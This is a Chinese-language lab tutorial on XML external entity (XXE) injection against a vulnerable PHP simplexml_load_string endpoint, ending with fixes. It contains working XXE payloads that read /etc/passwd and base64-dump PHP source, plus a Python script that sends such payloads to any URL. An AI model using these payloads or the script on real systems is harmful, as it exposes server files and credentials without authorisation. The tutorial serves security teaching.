zoukankan      html  css  js  c++  java
  • XXE(xml外部实体注入漏洞)

    实验内容

    介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复。

    影响版本:

    libxml2.8.0版本

    漏洞介绍

    XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

    由于站点的建站语言不同,PHP、JAVA、python等也有不同的解析规则,在实际情况中不能一概而论,但原理是相同的。

    XML基础知识

    XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

      file:///path/to/file.ext
    
      http://url
    
      php://filter/read=convert.base64-encode/resource=conf.php
    

    XML在调用外部实体整体的写法如下:

      <?xml version="1.0" encoding="utf-8"?>
    
      <!DOCTYPE xdsec [
    
      <!ELEMENT methodname ANY >
    
      <!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
    
      <methodcall>
    
      <methodname>&xxe;</methodname>
    
      </methodcall>
    

    这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

    实验步骤

    以下步骤主要讲述了此漏洞的利用方式,XML、Payload的构造方式以及恶意脚本的使用和分析。

    步骤1:漏洞验证

    首先,我们的目标地址是172.16.12.2/simplexml_load_string.php

    我们先来看下simplexml_load_string.php代码怎么写的,代码如下:

    
    <?php
    
    $data = file_get_contents('php://input');
    
    $xml = simplexml_load_string($data);
    
    echo $xml->name;
    
    ?>
    

    最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

    这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

    我们现在打开Burpsuite,修改浏览器的网络配置,点击最右侧的三个横线,然后依次点击->选项->高级->网络->配置firefox如何连接互联网

    设置HTTP代理为127.0.0.1,端口为8080,配置完成后,开启burpsuite的拦截功能,然后访问如下网址

    http://172.16.12.2/simplexml_load_string.php
    

    burp-firefox

    当访问请求被burp拦截后,点击action将此请求发送到burp的repeater选项卡(send to repeater),将如下的XML文本直接写在数据包内容的下面

    <?xml version="1.0" encoding="utf-8"?> 
    
    <!DOCTYPE xxe [
    
    <!ELEMENT name ANY >
    
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    
    <root>
    
    <name>&xxe;</name>
    
    </root>
    

    burp_simple

    这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。

    执行完成上面的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd文件的内容

    result_s

    如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果在浏览器上显示如下

    result_p

    返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码

    
    <?php
    
    phpinfo();
    
    ?>
    

    我们来访问一下index.php,可以看到确实是执行了phpinfo();函数

    index

    步骤2 使用并分析恶意脚本

    请访问http://file.ichunqiu.com/397qjz4d下载实验文件。

    打开cmd,输入 python 脚本所在路径xxe-url2.py(可将脚本直接拖入cmd命令行) ,然后输入要读取的文件及要访问的地址.

    如下图所示,脚本放在C:Documents and SettingsAdministratorMy Documents下载路径下,运行脚本,输入示例payload

    file:///etc/passwd
    

    示例地址

    http://172.16.12.2/simplexml_load_string.php
    

    poc

    xxe-url2.py的代码如下,通过urllib2的request方法用POST方式向目标地址发送XML数据,返回的数据即为服务器172.16.12.2下的/etc/passwd文件

    import urllib2
    
    if __name__ == '__main__':
    
        print u'输入要读取的文件,如file:///etc/passwd'
    
        payload = raw_input()
    
        print u'输入要访问的地址,如http://172.16.12.2/simplexml_load_string.php'
    
        url = raw_input()
    
        #url = 'http://192.168.70.235/simplexml_load_string.php'
    
        headers = {'Content-type': 'text/xml'}
    
        xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
    
        req = urllib2.Request(url = url,headers = headers, data = xml)
    
        res_data = urllib2.urlopen(req)
    
        res = res_data.read()
    
        print res
    

    实验结果分析与总结

    本次实验主要了解了XML的基础知识以及PHP中XML的使用,了解了漏洞出现的原理,学习了通过构造恶意的外部实体访问,让服务器读取敏感文件内容的恶意操作。

    XML外部实体注入可以造成的危害有:

    • 任意文件读取

    • 系统命令执行

    • 内网主机及服务探测

    本次实验我们主要进行了任意文件读取的操作,系统命令执行需要在安装了EXPECT扩展的PHP环境下才能执行,内网主机及服务探测可以通过HTTP协议来执行。

    修复方案

    • 使用libxml2.8.0以上版本xml解析库,默认禁止外部实体的解析

    • 对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用函数进行过滤

    • 可将外部实体、参数实体和内联DTD都被设置为false,从而避免基于XXE漏洞的攻击。

  • 相关阅读:
    不同数据类型在不同编译器下字节大小
    gbk/utf8/gb2312 编码中汉字字母数字所占字节数
    剑指Offer-12 矩阵中的路径
    螺旋矩阵(数组)问题(网易考点)
    C++ 多继承导致的指针偏移问题
    面试题--链表实现插入排序
    C++ 二叉树的深度优先遍历(前中后序)以及广度优先遍历
    (转)软连接和硬链接作用以及区别
    TCP/IP网络五层结构理解以及数据传输流程的理解图示
    常考知识点:进程与线程,多进程与多线程
  • 原文地址:https://www.cnblogs.com/cui0x01/p/8823690.html
Copyright © 2011-2022 走看看